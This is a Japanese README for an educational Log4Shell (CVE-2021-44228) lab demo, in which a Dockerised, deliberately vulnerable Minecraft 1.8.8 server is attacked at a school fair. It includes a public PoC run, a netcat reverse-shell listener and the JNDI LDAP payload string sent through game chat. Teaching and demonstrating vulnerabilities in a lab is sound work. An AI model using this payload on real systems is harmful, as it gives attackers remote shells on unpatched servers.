
Log4Shell (CVE-2021-44228) Minecraft デモ。教育フェアで使用されます。
このデモは、教育フェアで、将来の学生候補にHTL Villachのサイバーセキュリティ学科と、日常的なアプリケーションがどのように悪用され得るかを紹介するために使用されます。
注記: このデモ全体はMinecraft 1.8.8を使用しています。
このシナリオの攻撃者は、kozmerによるPoCを使用しています。 https://github.com/kozmer/log4j-shell-poc すべてのクレジットは彼らに帰属します。
注記: すべてのコマンドは attacker/ 内で実行する必要があります。
pip install -r requirements.txt
nc -lvnp 9001
jdk1.8.0_20 であり、同じディレクトリにある必要があります。$ python3 poc.py --userip <ip of docker-host> --webport 8000 --lport 9001
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
[+] Exploit java class created success
[+] Setting up fake LDAP server
[+] Send me: ${jndi:ldap://<ip of docker-host>:1389/a}
Listening on 0.0.0.0:1389
このスクリプトは、HTTPサーバーとLDAPサーバーをセットアップし、脆弱なパラメータに貼り付けるために使用できるペイロードも作成します。この後、すべてがうまくいけば、lportでシェルを取得できるはずです。
被害者インスタンスでは、古いため脆弱なJDKバージョン (jdk1.8.0_20) を使用しています。
Minecraftサーバーを実行するには、Dockerイメージをビルドして実行する必要があります。
注記: ビルドを成功させるには、Minecraft Vanilla 1.8.8 Serverのコピーを自分で入手する必要があります (MojangのEULAのため共有できません) 入手先としては、MCVERSIONS.NET などがあります。
ファイルを入手したら、victim/ 内に server.jar として保存してください。
cd target/
docker build target/ -t minecraft-demo
先ほどビルドした脆弱なMinecraftサーバーをdockerで実行します。
docker run --name vulnerable-server -p 25565:25565 minecraft-demo
エクスプロイト後、コンテナがフリーズまたは停止する可能性があります。その場合は、次のコマンドでコンテナを強制終了できます。
docker kill vulnerable-server
脆弱性を悪用するには、poc.py によって提供される文字列をゲーム内チャットで送信するだけです。
${jndi:ldap://<ip of docker-host>:1389/a}
